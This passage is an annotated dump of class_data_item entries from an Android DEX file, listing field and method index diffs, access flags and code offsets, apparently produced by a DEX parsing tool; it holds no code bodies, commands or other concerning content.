    000885e2
    000885e2 struct class_data_item
    000885e2 static_fields_size int 0
    000885e3 instance_fields_size int 3
    000885e4 direct_methods_size int 1
    000885e5 virtual_methods_size int 1
    000885e6
    000885e6 struct encoded_field
    000885e6 field_idx_diff int 0x9d18
    000885e8 access_flags uint32 0x00000000
    000885e9
    000885e9 struct encoded_field
    000885e9 field_idx_diff int 0x9d20
    000885ea access_flags uint32 0x00000000
    000885eb
    000885eb struct encoded_field
    000885eb field_idx_diff int 0x9d28
    000885ec access_flags uint32 0x00000000
    000885ed
    000885ed struct encoded_method
    000885ed method_idx_diff int 0x11030
    000885ef access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    000885f2 code_off uint32 0x48c40
    000885f5
    000885f5 struct encoded_method
    000885f5 method_idx_diff int 0x11038
    000885f7 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000885f8 code_off uint32 0x48c68
    000885fb
    000885fb struct class_data_item
    000885fb static_fields_size int 0
    000885fc instance_fields_size int 0
    000885fd direct_methods_size int 0
    000885fe virtual_methods_size int 1
    000885ff
    000885ff struct encoded_method
    000885ff method_idx_diff int 0x11040
    00088601 access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    00088603 code_off uint32 0x00000000
    00088604
    00088604 struct class_data_item
    00088604 static_fields_size int 0
    00088605 instance_fields_size int 0
    00088606 direct_methods_size int 1
    00088607 virtual_methods_size int 2
    00088608
    00088608 struct encoded_method
    00088608 method_idx_diff int 0x11090
    0008860a access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    0008860d code_off uint32 0x490a8
    00088610
    00088610 struct encoded_method
    00088610 method_idx_diff int 0x11098
    00088612 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088613 code_off uint32 0x490c0
    00088616
    00088616 struct encoded_method
    00088616 method_idx_diff int 0x110a0
    00088617 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088618 code_off uint32 0x49120
    0008861b
    0008861b struct class_data_item
    0008861b static_fields_size int 0
    0008861c instance_fields_size int 0
    0008861d direct_methods_size int 1
    0008861e virtual_methods_size int 2
    0008861f
    0008861f struct encoded_method
    0008861f method_idx_diff int 0x110c8
    00088621 access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00088624 code_off uint32 0x4922c
    00088627
    00088627 struct encoded_method
    00088627 method_idx_diff int 0x110d0
    00088629 access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008862a code_off uint32 0x49244
    0008862d
    0008862d struct encoded_method
    0008862d method_idx_diff int 0x110d8
    0008862e access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008862f code_off uint32 0x4934c
    00088632
    00088632 struct class_data_item
    00088632 static_fields_size int 0
    00088633 instance_fields_size int 0
    00088634 direct_methods_size int 1
    00088635 virtual_methods_size int 2
    00088636
    00088636 struct encoded_method
    00088636 method_idx_diff int 0x110e0
    00088638 access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    0008863b code_off uint32 0x49368
    0008863e
    0008863e struct encoded_method
    0008863e method_idx_diff int 0x110e8
    00088640 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088641 code_off uint32 0x49380
    00088644
    00088644 struct encoded_method
    00088644 method_idx_diff int 0x110f0
    00088645 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088646 code_off uint32 0x49470
    00088649
    00088649 struct class_data_item
    00088649 static_fields_size int 0
    0008864a instance_fields_size int 0
    0008864b direct_methods_size int 1
    0008864c virtual_methods_size int 1
    0008864d
    0008864d struct encoded_method
    0008864d method_idx_diff int 0x11048
    0008864f access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00088652 code_off uint32 0x48cd4
    00088655
    00088655 struct encoded_method
    00088655 method_idx_diff int 0x11050
    00088657 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088658 code_off uint32 0x48cec
    0008865b
    0008865b struct class_data_item
    0008865b static_fields_size int 0
    0008865c instance_fields_size int 0
    0008865d direct_methods_size int 1
    0008865e virtual_methods_size int 1
    0008865f
    0008865f struct encoded_method
    0008865f method_idx_diff int 0x11060
    00088661 access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00088664 code_off uint32 0x48e00
    00088667
    00088667 struct encoded_method
    00088667 method_idx_diff int 0x11068
    00088669 access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008866a code_off uint32 0x48e18
    0008866d
    0008866d struct class_data_item
    0008866d static_fields_size int 0
    0008866e instance_fields_size int 0
    0008866f direct_methods_size int 1
    00088670 virtual_methods_size int 1
    00088671
    00088671 struct encoded_method
    00088671 method_idx_diff int 0x11078
    00088673 access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00088676 code_off uint32 0x48f54
    00088679
    00088679 struct encoded_method
    00088679 method_idx_diff int 0x11080
    0008867b access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008867c code_off uint32 0x48f6c
    0008867f
    0008867f struct class_data_item
    0008867f static_fields_size int 0
    00088680 instance_fields_size int 0
    00088681 direct_methods_size int 1
    00088682 virtual_methods_size int 1
    00088683
    00088683 struct encoded_method
    00088683 method_idx_diff int 0x110a8
    00088685 access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00088688 code_off uint32 0x49134
    0008868b
    0008868b struct encoded_method
    0008868b method_idx_diff int 0x110b0
    0008868d access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008868e code_off uint32 0x4914c
    00088691
    00088691 struct class_data_item
    00088691 static_fields_size int 0
    00088692 instance_fields_size int 0
    00088693 direct_methods_size int 1
    00088694 virtual_methods_size int 1
    00088695
    00088695 struct encoded_method
    00088695 method_idx_diff int 0x110b8
    00088697 access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    0008869a code_off uint32 0x491a8
    0008869d
    0008869d struct encoded_method
    0008869d method_idx_diff int 0x110c0
    0008869f access_flags uint32 0x00000001 ; ACC_PUBLIC
    000886a0 code_off uint32 0x491c0
    000886a3
    000886a3 struct class_data_item
    000886a3 static_fields_size int 1
    000886a4 instance_fields_size int 0
    000886a5 direct_methods_size int 4
    000886a6 virtual_methods_size int 0
    000886a7
    000886a7 struct encoded_field
    000886a7 field_idx_diff int 0x9d48
    000886a9 access_flags uint32 0x00000018 ; ACC_STATIC|ACC_FINAL
    000886aa
    000886aa struct encoded_method
    000886aa method_idx_diff int 0x11108
    000886ac access_flags uint32 0x00010008 ; ACC_STATIC|ACC_CONSTRUCTOR
    000886af code_off uint32 0x494c0
    000886b2
    000886b2 struct encoded_method
    000886b2 method_idx_diff int 0x11110
    000886b3 access_flags uint32 0x00000008 ; ACC_STATIC
    000886b4 code_off uint32 0x4958c
    000886b7
    000886b7 struct encoded_method
    000886b7 method_idx_diff int 0x11118
    000886b8 access_flags uint32 0x00000008 ; ACC_STATIC
    000886b9 code_off uint32 0x495c8
    000886bc
    000886bc struct encoded_method
    000886bc method_idx_diff int 0x11120
    000886bd access_flags uint32 0x00000008 ; ACC_STATIC
    000886be code_off uint32 0x49654
    000886c1
    000886c1 struct class_data_item
    000886c1 static_fields_size int 0
    000886c2 instance_fields_size int 4
    000886c3 direct_methods_size int 1
    000886c4 virtual_methods_size int 3
    000886c5
    000886c5 struct encoded_field
    000886c5 field_idx_diff int 0x9d50
    000886c7 access_flags uint32 0x00000002 ; ACC_PRIVATE
    000886c8
    000886c8 struct encoded_field
    000886c8 field_idx_diff int 0x9d58
    000886c9 access_flags uint32 0x00000002 ; ACC_PRIVATE
    000886ca
    000886ca struct encoded_field
    000886ca field_idx_diff int 0x9d60
    000886cb access_flags uint32 0x00000002 ; ACC_PRIVATE
    000886cc
    000886cc struct encoded_field
    000886cc field_idx_diff int 0x9d68
    000886cd access_flags uint32 0x00000002 ; ACC_PRIVATE
    000886ce
    000886ce struct encoded_method
    000886ce method_idx_diff int 0x11128
    000886d0 access_flags uint32 0x00010001 ; ACC_PUBLIC|ACC_CONSTRUCTOR
    000886d3 code_off uint32 0x49734
    000886d6
    000886d6 struct encoded_method
    000886d6 method_idx_diff int 0x11130
    000886d8 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000886d9 code_off uint32 0x49970
    000886dc
    000886dc struct encoded_method
    000886dc method_idx_diff int 0x11138
    000886dd access_flags uint32 0x00000001 ; ACC_PUBLIC
    000886de code_off uint32 0x49988
    000886e1
    000886e1 struct encoded_method
    000886e1 method_idx_diff int 0x11140
    000886e2 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000886e3 code_off uint32 0x499a4
    000886e6
    000886e6 struct class_data_item
    000886e6 static_fields_size int 0
    000886e7 instance_fields_size int 0
    000886e8 direct_methods_size int 1
    000886e9 virtual_methods_size int 0
    000886ea
    000886ea struct encoded_method
    000886ea method_idx_diff int 0x11148
    000886ec access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    000886ed code_off uint32 0x499f0
    000886f0
    000886f0 struct class_data_item
    000886f0 static_fields_size int 0
    000886f1 instance_fields_size int 5
    000886f2 direct_methods_size int 1
    000886f3 virtual_methods_size int 3
    000886f4
    000886f4 struct encoded_field
    000886f4 field_idx_diff int 0x9d70
    000886f6 access_flags uint32 0x00000002 ; ACC_PRIVATE
    000886f7
    000886f7 struct encoded_field
    000886f7 field_idx_diff int 0x9d78
    000886f8 access_flags uint32 0x00000002 ; ACC_PRIVATE
    000886f9
    000886f9 struct encoded_field
    000886f9 field_idx_diff int 0x9d80
    000886fa access_flags uint32 0x00000002 ; ACC_PRIVATE
    000886fb
    000886fb struct encoded_field
    000886fb field_idx_diff int 0x9d88
    000886fc access_flags uint32 0x00000002 ; ACC_PRIVATE
    000886fd
    000886fd struct encoded_field
    000886fd field_idx_diff int 0x9d90
    000886fe access_flags uint32 0x00000002 ; ACC_PRIVATE
    000886ff
    000886ff struct encoded_method
    000886ff method_idx_diff int 0x11150
    00088701 access_flags uint32 0x00010001 ; ACC_PUBLIC|ACC_CONSTRUCTOR
    00088704 code_off uint32 0x49aa8
    00088707
    00088707 struct encoded_method
    00088707 method_idx_diff int 0x11158
    00088709 access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008870a code_off uint32 0x49d0c
    0008870d
    0008870d struct encoded_method
    0008870d method_idx_diff int 0x11160
    0008870e access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008870f code_off uint32 0x49d24
    00088712
    00088712 struct encoded_method
    00088712 method_idx_diff int 0x11168
    00088713 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088714 code_off uint32 0x49d40
    00088717
    00088717 struct class_data_item
    00088717 static_fields_size int 0
    00088718 instance_fields_size int 1
    00088719 direct_methods_size int 1
    0008871a virtual_methods_size int 3
    0008871b
    0008871b struct encoded_field
    0008871b field_idx_diff int 0x9d98
    0008871d access_flags uint32 0x00000002 ; ACC_PRIVATE
    0008871e
    0008871e struct encoded_method
    0008871e method_idx_diff int 0x11170
    00088720 access_flags uint32 0x00010001 ; ACC_PUBLIC|ACC_CONSTRUCTOR
    00088723 code_off uint32 0x49d9c
    00088726
    00088726 struct encoded_method
    00088726 method_idx_diff int 0x11178
    00088728 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088729 code_off uint32 0x4a018
    0008872c
    0008872c struct encoded_method
    0008872c method_idx_diff int 0x11180
    0008872d access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008872e code_off uint32 0x4a030
    00088731
    00088731 struct encoded_method
    00088731 method_idx_diff int 0x11188
    00088732 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088733 code_off uint32 0x4a0fc
    00088736
    00088736 struct class_data_item
    00088736 static_fields_size int 0
    00088737 instance_fields_size int 0
    00088738 direct_methods_size int 1
    00088739 virtual_methods_size int 0
    0008873a
    0008873a struct encoded_method
    0008873a method_idx_diff int 0x11190
    0008873c access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    0008873d code_off uint32 0x4a11c
    00088740
    00088740 struct class_data_item
    00088740 static_fields_size int 1
    00088741 instance_fields_size int 0
    00088742 direct_methods_size int 1
    00088743 virtual_methods_size int 0
    00088744
    00088744 struct encoded_field
    00088744 field_idx_diff int 0x9da0
    00088746 access_flags uint32 0x0000000a ; ACC_PRIVATE|ACC_STATIC
    00088747
    00088747 struct encoded_method
    00088747 method_idx_diff int 0x111c8
    00088749 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    0008874a code_off uint32 0x4a1c8
    0008874d
    0008874d struct class_data_item
    0008874d static_fields_size int 0
    0008874e instance_fields_size int 0
    0008874f direct_methods_size int 1
    00088750 virtual_methods_size int 0
    00088751
    00088751 struct encoded_method
    00088751 method_idx_diff int 0x111d0
    00088753 access_flags uint32 0x00000008 ; ACC_STATIC
    00088754 code_off uint32 0x4a280
    00088757
    00088757 struct class_data_item
    00088757 static_fields_size int 0
    00088758 instance_fields_size int 1
    00088759 direct_methods_size int 1
    0008875a virtual_methods_size int 2
    0008875b
    0008875b struct encoded_field
    0008875b field_idx_diff int 0x9da8
    0008875d access_flags uint32 0x00000002 ; ACC_PRIVATE
    0008875e
    0008875e struct encoded_method
    0008875e method_idx_diff int 0x111d8
    00088760 access_flags uint32 0x00010001 ; ACC_PUBLIC|ACC_CONSTRUCTOR
    00088763 code_off uint32 0x4a3b8
    00088766
    00088766 struct encoded_method
    00088766 method_idx_diff int 0x111e0
    00088768 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088769 code_off uint32 0x4a520
    0008876c
    0008876c struct encoded_method
    0008876c method_idx_diff int 0x111e8
    0008876d access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008876e code_off uint32 0x4a538
    00088771
    00088771 struct class_data_item
    00088771 static_fields_size int 0
    00088772 instance_fields_size int 5
    00088773 direct_methods_size int 1
    00088774 virtual_methods_size int 3
    00088775
    00088775 struct encoded_field
    00088775 field_idx_diff int 0x9db0
    00088777 access_flags uint32 0x00000002 ; ACC_PRIVATE
    00088778
    00088778 struct encoded_field
    00088778 field_idx_diff int 0x9db8
    00088779 access_flags uint32 0x00000012 ; ACC_PRIVATE|ACC_FINAL
    0008877a
    0008877a struct encoded_field
    0008877a field_idx_diff int 0x9dc0
    0008877b access_flags uint32 0x00000002 ; ACC_PRIVATE
    0008877c
    0008877c struct encoded_field
    0008877c field_idx_diff int 0x9dc8
    0008877d access_flags uint32 0x00000002 ; ACC_PRIVATE
    0008877e
    0008877e struct encoded_field
    0008877e field_idx_diff int 0x9dd0
    0008877f access_flags uint32 0x00000002 ; ACC_PRIVATE
    00088780
    00088780 struct encoded_method
    00088780 method_idx_diff int 0x111f0
    00088782 access_flags uint32 0x00010001 ; ACC_PUBLIC|ACC_CONSTRUCTOR
    00088785 code_off uint32 0x4a558
    00088788
    00088788 struct encoded_method
    00088788 method_idx_diff int 0x111f8
    0008878a access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008878b code_off uint32 0x4a788
    0008878e
    0008878e struct encoded_method
    0008878e method_idx_diff int 0x11200
    0008878f access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088790 code_off uint32 0x4a7a0
    00088793
    00088793 struct encoded_method
    00088793 method_idx_diff int 0x11208
    00088794 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088795 code_off uint32 0x4a7c8
    00088798
    00088798 struct class_data_item
    00088798 static_fields_size int 4
    00088799 instance_fields_size int 0
    0008879a direct_methods_size int 7
    0008879b virtual_methods_size int 0
    0008879c
    0008879c struct encoded_field
    0008879c field_idx_diff int 0x9dd8
    0008879e access_flags uint32 0x0000001a ; ACC_PRIVATE|ACC_STATIC|ACC_FINAL
    0008879f
    0008879f struct encoded_field
    0008879f field_idx_diff int 0x9de0
    000887a0 access_flags uint32 0x0000000a ; ACC_PRIVATE|ACC_STATIC
    000887a1
    000887a1 struct encoded_field
    000887a1 field_idx_diff int 0x9de8
    000887a2 access_flags uint32 0x0000000a ; ACC_PRIVATE|ACC_STATIC
    000887a3
    000887a3 struct encoded_field
    000887a3 field_idx_diff int 0x9df0
    000887a4 access_flags uint32 0x0000001a ; ACC_PRIVATE|ACC_STATIC|ACC_FINAL
    000887a5
    000887a5 struct encoded_method
    000887a5 method_idx_diff int 0x11210
    000887a7 access_flags uint32 0x00010008 ; ACC_STATIC|ACC_CONSTRUCTOR
    000887aa code_off uint32 0x4a884
    000887ad
    000887ad struct encoded_method
    000887ad method_idx_diff int 0x11218
    000887ae access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    000887af code_off uint32 0x4a8b4
    000887b2
    000887b2 struct encoded_method
    000887b2 method_idx_diff int 0x11220
    000887b3 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    000887b4 code_off uint32 0x4a930
    000887b7
    000887b7 struct encoded_method
    000887b7 method_idx_diff int 0x11228
    000887b8 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    000887b9 code_off uint32 0x4aa34
    000887bc
    000887bc struct encoded_method
    000887bc method_idx_diff int 0x11230
    000887bd access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    000887be code_off uint32 0x4aa80
    000887c1
    000887c1 struct encoded_method
    000887c1 method_idx_diff int 0x11238
    000887c2 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    000887c3 code_off uint32 0x4aac8
    000887c6
    000887c6 struct encoded_method
    000887c6 method_idx_diff int 0x11240
    000887c7 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    000887c8 code_off uint32 0x4ab08
    000887cb
    000887cb struct class_data_item
    000887cb static_fields_size int 0
    000887cc instance_fields_size int 5
    000887cd direct_methods_size int 1
    000887ce virtual_methods_size int 3
    000887cf
    000887cf struct encoded_field
    000887cf field_idx_diff int 0x9df8
    000887d1 access_flags uint32 0x00000002 ; ACC_PRIVATE
    000887d2
    000887d2 struct encoded_field
    000887d2 field_idx_diff int 0x9e00
    000887d3 access_flags uint32 0x00000002 ; ACC_PRIVATE
    000887d4
    000887d4 struct encoded_field
    000887d4 field_idx_diff int 0x9e08
    000887d5 access_flags uint32 0x00000002 ; ACC_PRIVATE
    000887d6
    000887d6 struct encoded_field
    000887d6 field_idx_diff int 0x9e10
    000887d7 access_flags uint32 0x00000002 ; ACC_PRIVATE
    000887d8
    000887d8 struct encoded_field
    000887d8 field_idx_diff int 0x9e18
    000887d9 access_flags uint32 0x00000002 ; ACC_PRIVATE
    000887da
    000887da struct encoded_method
    000887da method_idx_diff int 0x11248
    000887dc access_flags uint32 0x00010001 ; ACC_PUBLIC|ACC_CONSTRUCTOR
    000887df code_off uint32 0x4ab68
    000887e2
    000887e2 struct encoded_method
    000887e2 method_idx_diff int 0x11250
    000887e4 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000887e5 code_off uint32 0x4ade0
    000887e8
    000887e8 struct encoded_method
    000887e8 method_idx_diff int 0x11258
    000887e9 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000887ea code_off uint32 0x4adf8
    000887ed
    000887ed struct encoded_method
    000887ed method_idx_diff int 0x11260
    000887ee access_flags uint32 0x00000001 ; ACC_PUBLIC
    000887ef code_off uint32 0x4ae20
    000887f2
    000887f2 struct class_data_item
    000887f2 static_fields_size int 0
    000887f3 instance_fields_size int 0
    000887f4 direct_methods_size int 1
    000887f5 virtual_methods_size int 0
    000887f6
    000887f6 struct encoded_method
    000887f6 method_idx_diff int 0x11268
    000887f8 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    000887f9 code_off uint32 0x4ae8c
    000887fc
    000887fc struct class_data_item
    000887fc static_fields_size int 0
    000887fd instance_fields_size int 0
    000887fe direct_methods_size int 1
    000887ff virtual_methods_size int 0
    00088800
    00088800 struct encoded_method
    00088800 method_idx_diff int 0x11270
    00088802 access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00088805 code_off uint32 0x4aea4
    00088808
    00088808 struct class_data_item
    00088808 static_fields_size int 0
    00088809 instance_fields_size int 0
    0008880a direct_methods_size int 1
    0008880b virtual_methods_size int 0
    0008880c
    0008880c struct encoded_method
    0008880c method_idx_diff int 0x11278
    0008880e access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00088811 code_off uint32 0x4aebc
    00088814
    00088814 struct class_data_item
    00088814 static_fields_size int 0
    00088815 instance_fields_size int 0
    00088816 direct_methods_size int 1
    00088817 virtual_methods_size int 0
    00088818
    00088818 struct encoded_method
    00088818 method_idx_diff int 0x11280
    0008881a access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    0008881d code_off uint32 0x4aed4
    00088820
    00088820 struct class_data_item
    00088820 static_fields_size int 0
    00088821 instance_fields_size int 0
    00088822 direct_methods_size int 1
    00088823 virtual_methods_size int 0
    00088824
    00088824 struct encoded_method
    00088824 method_idx_diff int 0x11288
    00088826 access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    00088829 code_off uint32 0x4aeec
    0008882c
    0008882c struct class_data_item
    0008882c static_fields_size int 0
    0008882d instance_fields_size int 0
    0008882e direct_methods_size int 0
    0008882f virtual_methods_size int 5
    00088830
    00088830 struct encoded_method
    00088830 method_idx_diff int 0x112c8
    00088832 access_flags uint32 0x00000404 ; ACC_PROTECTED|ACC_ABSTRACT
    00088834 code_off uint32 0x00000000
    00088835
    00088835 struct encoded_method
    00088835 method_idx_diff int 0x112d0
    00088836 access_flags uint32 0x00000404 ; ACC_PROTECTED|ACC_ABSTRACT
    00088838 code_off uint32 0x00000000
    00088839
    00088839 struct encoded_method
    00088839 method_idx_diff int 0x112d8
    0008883a access_flags uint32 0x00000404 ; ACC_PROTECTED|ACC_ABSTRACT
    0008883c code_off uint32 0x00000000
    0008883d
    0008883d struct encoded_method
    0008883d method_idx_diff int 0x112e0
    0008883e access_flags uint32 0x00000404 ; ACC_PROTECTED|ACC_ABSTRACT
    00088840 code_off uint32 0x00000000
    00088841
    00088841 struct encoded_method
    00088841 method_idx_diff int 0x112e8
    00088842 access_flags uint32 0x00000404 ; ACC_PROTECTED|ACC_ABSTRACT
    00088844 code_off uint32 0x00000000
    00088845
    00088845 struct class_data_item
    00088845 static_fields_size int 2
    00088846 instance_fields_size int 5
    00088847 direct_methods_size int 1
    00088848 virtual_methods_size int 5
    00088849
    00088849 struct encoded_field
    00088849 field_idx_diff int 0x9e20
    0008884b access_flags uint32 0x00000019 ; ACC_PUBLIC|ACC_STATIC|ACC_FINAL
    0008884c
    0008884c struct encoded_field
    0008884c field_idx_diff int 0x9e50
    0008884d access_flags uint32 0x0000001a ; ACC_PRIVATE|ACC_STATIC|ACC_FINAL
    0008884e
    0008884e struct encoded_field
    0008884e field_idx_diff int 0x9e28
    00088850 access_flags uint32 0x00000012 ; ACC_PRIVATE|ACC_FINAL
    00088851
    00088851 struct encoded_field
    00088851 field_idx_diff int 0x9e30
    00088852 access_flags uint32 0x00000012 ; ACC_PRIVATE|ACC_FINAL
    00088853
    00088853 struct encoded_field
    00088853 field_idx_diff int 0x9e38
    00088854 access_flags uint32 0x00000012 ; ACC_PRIVATE|ACC_FINAL
    00088855
    00088855 struct encoded_field
    00088855 field_idx_diff int 0x9e40
    00088856 access_flags uint32 0x00000012 ; ACC_PRIVATE|ACC_FINAL
    00088857
    00088857 struct encoded_field
    00088857 field_idx_diff int 0x9e48
    00088858 access_flags uint32 0x00000012 ; ACC_PRIVATE|ACC_FINAL
    00088859
    00088859 struct encoded_method
    00088859 method_idx_diff int 0x11290
    0008885b access_flags uint32 0x00010008 ; ACC_STATIC|ACC_CONSTRUCTOR
    0008885e code_off uint32 0x4af04
    00088861
    00088861 struct encoded_method
    00088861 method_idx_diff int 0x11298
    00088863 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088864 code_off uint32 0x4af64
    00088867
    00088867 struct encoded_method
    00088867 method_idx_diff int 0x112a0
    00088868 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088869 code_off uint32 0x4af7c
    0008886c
    0008886c struct encoded_method
    0008886c method_idx_diff int 0x112a8
    0008886d access_flags uint32 0x00000001 ; ACC_PUBLIC
    0008886e code_off uint32 0x4af94
    00088871
    00088871 struct encoded_method
    00088871 method_idx_diff int 0x112b0
    00088872 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088873 code_off uint32 0x4afac
    00088876
    00088876 struct encoded_method
    00088876 method_idx_diff int 0x112b8
    00088877 access_flags uint32 0x00000001 ; ACC_PUBLIC
    00088878 code_off uint32 0x4afc4
    0008887b
    0008887b struct class_data_item
    0008887b static_fields_size int 0
    0008887c instance_fields_size int 0
    0008887d direct_methods_size int 1
    0008887e virtual_methods_size int 0
    0008887f
    0008887f struct encoded_method
    0008887f method_idx_diff int 0x112c0
    00088881 access_flags uint32 0x00000008 ; ACC_STATIC
    00088882 code_off uint32 0x4afdc
    00088885
    00088885 struct class_data_item
    00088885 static_fields_size int 0
    00088886 instance_fields_size int 0
    00088887 direct_methods_size int 2
    00088888 virtual_methods_size int 0
    00088889
    00088889 struct encoded_method
    00088889 method_idx_diff int 0x112f0
    0008888b access_flags uint32 0x00000008 ; ACC_STATIC
    0008888c code_off uint32 0x4b06c
    0008888f
    0008888f struct encoded_method
    0008888f method_idx_diff int 0x112f8
    00088890 access_flags uint32 0x00000008 ; ACC_STATIC
    00088891 code_off uint32 0x4b0e4
    00088894
    00088894 struct class_data_item
    00088894 static_fields_size int 0
    00088895 instance_fields_size int 0
    00088896 direct_methods_size int 0
    00088897 virtual_methods_size int 3
    00088898
    00088898 struct encoded_method
    00088898 method_idx_diff int 0x11300
    0008889a access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    0008889c code_off uint32 0x00000000
    0008889d
    0008889d struct encoded_method
    0008889d method_idx_diff int 0x11308
    0008889e access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    000888a0 code_off uint32 0x00000000
    000888a1
    000888a1 struct encoded_method
    000888a1 method_idx_diff int 0x11310
    000888a2 access_flags uint32 0x00000401 ; ACC_PUBLIC|ACC_ABSTRACT
    000888a4 code_off uint32 0x00000000
    000888a5
    000888a5 struct class_data_item
    000888a5 static_fields_size int 0
    000888a6 instance_fields_size int 0
    000888a7 direct_methods_size int 1
    000888a8 virtual_methods_size int 3
    000888a9
    000888a9 struct encoded_method
    000888a9 method_idx_diff int 0x11318
    000888ab access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    000888ae code_off uint32 0x4b124
    000888b1
    000888b1 struct encoded_method
    000888b1 method_idx_diff int 0x11320
    000888b3 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000888b4 code_off uint32 0x4b13c
    000888b7
    000888b7 struct encoded_method
    000888b7 method_idx_diff int 0x11328
    000888b8 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000888b9 code_off uint32 0x4b158
    000888bc
    000888bc struct encoded_method
    000888bc method_idx_diff int 0x11330
    000888bd access_flags uint32 0x00000001 ; ACC_PUBLIC
    000888be code_off uint32 0x4b174
    000888c1
    000888c1 struct class_data_item
    000888c1 static_fields_size int 0
    000888c2 instance_fields_size int 0
    000888c3 direct_methods_size int 1
    000888c4 virtual_methods_size int 3
    000888c5
    000888c5 struct encoded_method
    000888c5 method_idx_diff int 0x11338
    000888c7 access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    000888ca code_off uint32 0x4b190
    000888cd
    000888cd struct encoded_method
    000888cd method_idx_diff int 0x11340
    000888cf access_flags uint32 0x00000001 ; ACC_PUBLIC
    000888d0 code_off uint32 0x4b1a8
    000888d3
    000888d3 struct encoded_method
    000888d3 method_idx_diff int 0x11348
    000888d4 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000888d5 code_off uint32 0x4b1c4
    000888d8
    000888d8 struct encoded_method
    000888d8 method_idx_diff int 0x11350
    000888d9 access_flags uint32 0x00000001 ; ACC_PUBLIC
    000888da code_off uint32 0x4b1e0
    000888dd
    000888dd struct class_data_item
    000888dd static_fields_size int 0
    000888de instance_fields_size int 0
    000888df direct_methods_size int 1
    000888e0 virtual_methods_size int 0
    000888e1
    000888e1 struct encoded_method
    000888e1 method_idx_diff int 0x11358
    000888e3 access_flags uint32 0x00010000 ; ACC_CONSTRUCTOR
    000888e6 code_off uint32 0x4b1fc
    000888e9
    000888e9 struct class_data_item
    000888e9 static_fields_size int 1
    000888ea instance_fields_size int 0
    000888eb direct_methods_size int 4
    000888ec virtual_methods_size int 0
    000888ed
    000888ed struct encoded_field
    000888ed field_idx_diff int 0x9e58
    000888ef access_flags uint32 0x0000001a ; ACC_PRIVATE|ACC_STATIC|ACC_FINAL
    000888f0
    000888f0 struct encoded_method
    000888f0 method_idx_diff int 0x11360
    000888f2 access_flags uint32 0x00010008 ; ACC_STATIC|ACC_CONSTRUCTOR
    000888f5 code_off uint32 0x4b214
    000888f8
    000888f8 struct encoded_method
    000888f8 method_idx_diff int 0x11368
    000888f9 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    000888fa code_off uint32 0x4b264
    000888fd
    000888fd struct encoded_method
    000888fd method_idx_diff int 0x11370
    000888fe access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    000888ff code_off uint32 0x4b284
    00088902
    00088902 struct encoded_method
    00088902 method_idx_diff int 0x11378
    00088903 access_flags uint32 0x00000009 ; ACC_PUBLIC|ACC_STATIC
    00088904 code_off uint32 0x4b2a4
    00088907
    00088907 struct class_data_item
    00088907 static_fields_size int 0
    00088908 instance_fields_size int 0
    00088909 direct_methods_size int 3
    0008890a virtual_methods_size int 0
    0008890b
    0008890b struct encoded_method
    0008890b method_idx_diff int 0x11380
    0008890d access_flags uint32 0x00000008 ; ACC_STATIC
    0008890e code_off uint32 0x4b2c4
    00088911
    00088911 struct encoded_method
    00088911 method_idx_diff int 0x11388
